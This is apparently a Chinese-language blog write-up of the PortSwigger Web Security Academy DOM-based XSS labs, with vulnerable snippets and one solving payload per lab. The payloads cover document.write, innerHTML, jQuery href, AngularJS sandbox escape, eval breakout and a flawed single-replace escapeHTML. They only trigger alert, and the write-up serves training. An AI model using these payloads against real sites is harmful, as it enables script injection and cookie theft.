Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS
- Portswigger web security academy:DOM Based XSS
- DOM XSS in document.write sink using source location.search
- DOM XSS in document.write sink using source location.search inside a select element
- DOM XSS in innerHTML sink using source location.search
- DOM XSS in jQuery anchor href attribute sink using location.search source
- DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
- Reflected DOM XSS
- Stored DOM XSS
DOM XSS in document.write sink using source location.search
题目描述
搜索功能点调用了
document.write函数,借此函数调用alert解题步骤

看着语句写payload
asd"><script>alert()</script><"
DOM XSS in document.write sink using source location.search inside a select element
题目描述
使用
document.write调用alert,document.write会从location.search获取参数,且参数可控,但参数被select element包围了解题步骤

可以看到这里的
storeId是从URL获取的,而且被<option></option>包围构造payload:
&storeId=<script>alert()</script>
DOM XSS in innerHTML sink using source location.search
题目描述
这道题的搜索功能点会使用
innerHTML来修改一个div标签,参数取自location.search,调用alert即可解题过程

可以看到这里把url里的
search参数写到了HTML里构造payload:
search=<img+src=x+onerror=alert()>
DOM XSS in jQuery anchor href attribute sink using location.search source
题目描述
在提交反馈的页面里用到了
jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)解题步骤

这里和题目描述一样
构造payload:
returnPath=javascript:alert(document.cookie)
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
题目描述
这道题用到了
AngularJS,涉及到一个知识点当标签有
ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>要求运行一个``AngularJS
的表达式调用alert`解题步骤
看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍
payload:
{{constructor.constructor('alert(1)')()}}{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}官方solution的payload:
{{$on.constructor('alert(1)')()}}参考
Reflected DOM XSS
题目描述
和题目的意思一样,这是个反射型+DOM型的xss
调用
alert函数即可解题过程
在搜索功能点发现了
eval函数关键代码
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", "/search-results" + window.location.search);
xhr.send();
这里涉及一个知识点:
eval('xxx'+alert())也会弹窗返回值格式为:
{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)构造payload:
\"+alert()}//(减号也可以)
\"-alert()}//
Stored DOM XSS
题目描述
评论功能点有存储型dom-xss,调用
alert函数即可解题过程
关键代码
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
注意这里的
escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以构造payload:
<><img src=x onerror=alert()>
Portswigger web security academy:DOM Based XSS的更多相关文章
- Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- Java基础:运算符
算数运算符:+,-,*,/,%,++,-- 赋值运算符:= 关系运算符:>,<,>=,<=,==,!=,instanceof 逻辑运算符:&&,||,! 位运算 ...
- BIMFACE二次开发【C#系列】
本系列文章主要介绍使用 C# .ASP.NET(MVC)技术对 BIMFACE 平台进行二次开发,以满足本公司针对建筑行业施工图审查系统的业务需求,例如图纸模型(PDF 文件.二维 CAD 模型.三维 ...
- H5 简单实现打砖块游戏
实现效果如图所示: 1.布局 在html中,声明 div1 作为作为带有边框的父物体,一切行为都要在 div1 中进行.创建小球ball.左右可滑动的板子bat,以及存放要销毁的砖块的父物体 bri ...
- P3387 【模板】缩点 题解 (Tarjan)
题目链接 P3387 [模板]缩点 解题思路 这几天搞图论,好有趣hhh,多写几篇博客. 上次学\(Tarjan\)求割点,这次缩点. 思路大概是多一个栈和染色的步骤,每次\(Tarjan\)的时候把 ...
- java知识汇总
文章目录 Java基础知识 基本类型 类别及其对应包装类 1. byte---Byte 2. char---Character 3. short---Short 4. int---Integer 5. ...
- golang io操作之写篇
/** * @author livalon * @data 2018/9/4 15:11 */ package main import ( "os" "fmt" ...
- Line-line Intersection Gym - 102220C
题目链接:https://vjudge.net/problem/Gym-102220C 题意:求n 条直线两两相交有几对(也可以重合). 思路:用map和pair存所有直线的斜率和与X轴的交点,假设与 ...
- ApiTesting全链路接口自动化测试框架 - 实战应用
场景一.添加公共配置 我们在做自动化开始的时候,一般有很多公共的环境配置,比如host.token.user等等,如果这些放在用例中,一旦修改,将非常的不便.麻烦(尤其切换环境). 所以这里我们提供了 ...
- OMnet++ 初学者教程 第一节 入门
第1部分-入门 1.1模型 首先,让我们从一个包含两个节点的"network"开始.节点将做一些简单的事情:一个是节点将创建一个数据包,而两个节点将继续来回传递相同的数据包.我们将 ...
- Web 前端 - 浅谈外部手动控制 Promise 状态
前言 当有多个共享资源.协同操作的时候,往往需要根据动态亦或是复杂的条件以控制和调用程序逻辑. 还是那句话,懂的人自然懂,不懂的人也搜不到这个随笔. 设计 PendingPromise<T> ...